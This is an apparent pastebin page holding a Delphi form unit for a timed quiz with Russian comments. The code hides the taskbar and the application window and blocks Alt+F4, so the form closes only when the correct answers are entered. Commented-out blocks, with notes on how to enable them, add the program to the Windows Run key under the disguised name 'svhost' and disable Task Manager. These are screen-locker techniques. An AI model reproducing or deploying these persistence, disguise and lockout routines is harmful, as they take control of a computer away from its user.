Author:
ilyhamas
Description: ыыыыы
Language: Delphi
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, sSkinManager, StdCtrls, sButton, ExtCtrls, sGauge, sLabel, sEdit,
Buttons, sBitBtn, RegisTry, rxAnimate, rxGIFCtrl, Menus, ComCtrls;
type
TForm1 = class(TForm)
sButton1: TsButton;
sLabel4: TsLabel;
ScrollBox1: TScrollBox;
Edit4: TEdit;
Edit1: TEdit;
Edit2: TEdit;
Label7: TLabel;
Button1: TButton;
Label9: TLabel;
GroupBox1: TGroupBox;
Label3: TLabel;
RadioButton1: TRadioButton;
RadioButton2: TRadioButton;
RadioButton3: TRadioButton;
RadioButton4: TRadioButton;
GroupBox2: TGroupBox;
Label5: TLabel;
RadioButton5: TRadioButton;
RadioButton6: TRadioButton;
RadioButton7: TRadioButton;
RadioButton8: TRadioButton;
GroupBox3: TGroupBox;
Label8: TLabel;
RadioButton9: TRadioButton;
RadioButton10: TRadioButton;
RadioButton11: TRadioButton;
RadioButton12: TRadioButton;
GroupBox4: TGroupBox;
Label10: TLabel;
RadioButton13: TRadioButton;
RadioButton14: TRadioButton;
RadioButton15: TRadioButton;
RadioButton16: TRadioButton;
GroupBox5: TGroupBox;
Label4: TLabel;
Label11: TLabel;
GroupBox6: TGroupBox;
Label1: TLabel;
Label6: TLabel;
GroupBox7: TGroupBox;
Label12: TLabel;
Edit3: TEdit;
Label13: TLabel;
GroupBox8: TGroupBox;
Label2: TLabel;
Label14: TLabel;
sSkinManager1: TsSkinManager;
Label15: TLabel;
Button2: TButton;
Timer1: TTimer;
Label16: TLabel;
Edit5: TEdit;
Edit6: TEdit;
procedure FormShow(Sender: TObject);
//procedure sButton1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure Button1Click(Sender: TObject);
procedure sButton1Click(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
R,S,T,K:real;
i: Integer;
reg: Tregistry;
implementation
uses Unit2, Unit3;
{$R *.dfm}
var
// интервал
min: integer; // минут
sec: integer; // секунд
procedure ShowTime;
var
buf: string[20];
begin
// минуты и секунды выводим двумя цифрами
if min < 10 then
buf := '0' + IntToStr(min) + ':'
else
buf := IntToStr(min) + ':';
if sec < 10 then
buf := buf + '0' + IntToStr(sec)
else
buf := buf + IntToStr(sec);
Form1.Label16.Caption := buf;
end;
//добавление в автозагрузку
procedure TForm1.FormShow(Sender: TObject);
{var reg: tregistry;
begin
reg := tregistry.create;
reg.rootkey := HKEY_CURRENT_USER;
reg.lazywrite := false;
reg.openkey('software\microsoft\windows\currentversion\run', false);
reg.writestring('svhost', application.exename); //вместо lock можно вставить что нибудь
reg.closekey;
reg.free; }
begin
//отключение диспетчера задач (операторные скобки убрать)
{reg:=tregistry.Create;
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',false);
reg.WriteString('DisableTaskMgr','1');
reg.CloseKey; }
//невидимость
showwindow( Application.Handle, SW_HIDE);
// скрывает панель задач
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_hide); // Для открытия изменить HIDE на SHOW
end;
procedure TForm1.FormCreate(Sender: TObject);
begin
keypreview:=true;
end;
// запрет альт f4
procedure TForm1.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if ((ssalt in shift) and ( Key=VK_F4) ) then
key:=0;
end;
procedure TForm1.Button1Click(Sender: TObject);
begin
close;
ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_show);
end;
procedure TForm1.sButton1Click(Sender: TObject);
begin
if (radiobutton4.checked=true) and
(radiobutton5.checked=true) and
(radiobutton9.checked=true) and
(radiobutton16.checked=true) and
(edit4.Text='8') and (edit1.Text='10') and (edit3.Text='0,7') and (edit2.Text='1197') then
close
else form3.show;
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
label15.Visible:=false;
button2.Visible:=false;
scrollbox1.Visible:=true;
slabel4.Visible:=true;
sbutton1.Visible:=true;
if Form1.Timer1.Enabled then
// таймер работает, надо остановить
begin
Timer1.Enabled := False; // стоп
end
else
// таймер стоит, надо запустить
begin
min := StrToInt(Edit5.Text);
sec := StrToInt(Edit6.Text);
Timer1.Enabled := True; // запустить таймер
// скрыть поля ввода интервала
Label16.Visible := True;
ShowTime;
end;
end;
procedure TForm1.Timer1Timer(Sender: TObject);
begin
sec := sec - 1;
ShowTime; // показать, сколько времени осталось
if (min = 0) and (sec = 0) then
// заданный интервал истек
begin
Timer1.Enabled := False; // стоп
form2.show;
radiobutton1.Enabled:=false;
radiobutton2.Enabled:=false;
radiobutton3.Enabled:=false;
radiobutton4.Enabled:=false;
radiobutton5.Enabled:=false;
radiobutton6.Enabled:=false;
radiobutton7.Enabled:=false;
radiobutton8.Enabled:=false;
radiobutton9.Enabled:=false;
radiobutton10.Enabled:=false;
radiobutton11.Enabled:=false;
radiobutton12.Enabled:=false;
radiobutton13.Enabled:=false;
radiobutton14.Enabled:=false;
radiobutton15.Enabled:=false;
radiobutton16.Enabled:=false;
edit1.Text:=' ';
edit2.Text:=' ';
edit3.Text:=' ';
edit4.Text:=' ';
exit;
end;
if (sec = 0) and (min > 0) then
begin
sec := 60;
min := min - 1;
end;
end;
end.
|
Recent pastes:
blessmaster (PHP)
antonivanov (SQL)
antonivanov (PHP)
brinza (PHP)
ilyhamas (Delphi)
Riateche (PHP)
otherlight (Java)
otherlight (JavaScript)
otherlight (CSS)
otherlight (CSS)
biophreak (JavaScript)
n4n (Perl)
prostoHz (Java)
ndubinkin (XML)
Riateche (Plain Text)
Slapotam (Perl)
ksurent (Perl)
John_Wein (Java)
John_Wein (HTML)
Riateche (HTML)
|